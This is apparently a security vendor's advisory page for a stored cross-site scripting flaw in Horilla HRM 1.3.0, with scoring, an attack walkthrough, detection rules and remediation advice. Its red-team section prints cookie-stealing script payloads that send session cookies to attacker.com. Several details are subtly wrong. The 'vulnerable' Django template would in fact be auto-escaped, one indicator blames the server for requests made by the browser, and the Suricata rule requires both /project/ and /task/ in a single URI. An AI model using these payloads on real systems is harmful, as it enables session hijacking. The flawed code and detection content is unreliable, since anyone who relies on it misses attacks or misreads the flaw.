CVE-2025-48867
Executive Summary
CVE-2025-48867 is a stored cross-site scripting (XSS) vulnerability in Horilla HRM version 1.3.0, a free and open-source Human Resource Management System. An authenticated admin or privileged user can inject malicious JavaScript payloads into multiple fields within the Project and Task modules. These payloads are stored in the database and executed when viewed by other admin or privileged users through the web interface. While the vulnerability requires authentication, it poses a significant risk of session hijacking and unauthorized actions within high-privilege accounts. At the time of publication, no patch is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Horilla HRM application, which is a Python/Django-based web application. The risk is primarily to the application's internal data and user sessions, not to the underlying Python package supply chain. However, organizations using Horilla should ensure they are not running the application with unnecessary privileges and should monitor for any official patches or updates from the vendor.
CVSS Breakdown & Threat Level
CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network - The vulnerability can be exploited over the network.
- Attack Complexity (AC): Low - No special conditions are required for exploitation.
- Privileges Required (PR): High - The attacker must be an authenticated admin or privileged user.
- User Interaction (UI): Required - The victim (another admin) must view the malicious content.
- Scope (S): Changed - The vulnerability can impact resources beyond the vulnerable component (e.g., session cookies).
- Confidentiality (C): Low - Limited information disclosure (e.g., session tokens).
- Integrity (I): Low - Limited ability to modify data (e.g., perform actions on behalf of the victim).
- Availability (A): None - No impact on system availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation and lateral movement within the application makes it a serious concern for organizations using Horilla.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The application fails to properly sanitize user-supplied input in several fields within the Project and Task modules. When an admin or privileged user creates or edits a project or task, they can embed malicious JavaScript code into fields such as:
- Project Name
- Project Description
- Task Name
- Task Description
- Custom fields (if any)
This input is stored in the database without proper encoding or sanitization. When another admin or privileged user views the project or task details, the malicious script is executed in their browser context. This allows the attacker to:
- Steal session cookies (session hijacking)
- Perform actions on behalf of the victim (e.g., create new admin accounts, modify sensitive data)
- Deface the application interface
- Redirect users to malicious sites
The vulnerability is particularly dangerous because it targets high-privilege users, potentially leading to full compromise of the Horilla instance.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Hypothetical Django Template):
<!-- Vulnerable: Direct output without escaping -->
<h1>{{ project.name }}</h1>
<p>{{ project.description }}</p>
Expected Patched Code (Using Django's auto-escaping or manual escaping):
<!-- Patched: Using Django's auto-escaping (default) or manual escape filter -->
<h1>{{ project.name|escape }}</h1>
<p>{{ project.description|escape }}</p>
The fix would involve ensuring that all user-supplied data is properly escaped before being rendered in HTML. Django's template engine auto-escapes by default, but if the application uses mark_safe or |safe filter, or if it constructs HTML strings manually, it becomes vulnerable.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a Horilla 1.3.0 instance with admin or privileged user credentials.
- A web browser with developer tools.
Steps:
- Log in as an admin or privileged user.
- Navigate to the Projects module and create a new project.
- In the "Project Name" field, enter the following payload:
<script>alert('XSS')</script> - For a more impactful attack, use a payload to steal cookies:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Save the project.
- When another admin views the project, the script executes, sending their session cookie to the attacker's server.
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'http://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual JavaScript execution in the browser console.
- Look for unexpected network requests to external domains.
- Review server logs for suspicious input patterns (e.g.,
<script>tags in project/task fields).
Prevention:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use Web Application Firewall (WAF) rules to block XSS payloads.
- Enforce strict input validation and output encoding.
- Limit the number of admin/privileged users.
Lab Setup:
- Deploy Horilla 1.3.0 in a controlled environment (e.g., Docker).
- Create two admin accounts: one for the attacker and one for the victim.
- Use the attacker account to inject the XSS payload.
- Log in as the victim and observe the script execution.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the Horilla server.
- Requests containing
document.cookieordocument.locationin the URL parameters.
Host IOCs:
- Presence of
<script>tags in the database fields for projects or tasks. - Unusual entries in web server logs (e.g.,
GET /steal?cookie=...).
File IOCs:
- Modified template files that bypass Django's auto-escaping (e.g., using
|safefilter).
Detection Engineering
YARA Rule
rule Detect_Horilla_XSS_Payload {
meta:
description = "Detects potential XSS payloads in Horilla HRM database fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48867"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Horilla Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Horilla HRM project/task fields
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-48867
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/project/'
- '/task/'
cs-uri-query|re: '(<script|on\w+=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in project descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48867 Horilla Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/project/"; http_uri; content:"/task/"; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Admin Access: Limit the number of users with admin or privileged roles.
- Implement CSP: Add a Content Security Policy header to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' - Manual Code Review: Inspect all template files for unescaped output (e.g.,
|safefilter,mark_safecalls). - Input Validation: Add server-side validation to reject HTML tags in project/task fields.
Long-Term Fix:
- Apply the official patch when it becomes available.
- Upgrade to a patched version of Horilla.
- Consider using a Web Application Firewall (WAF) with XSS protection rules.
Workaround:
- Disable the Project and Task modules temporarily if not critical.
- Use a reverse proxy to filter out malicious payloads.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.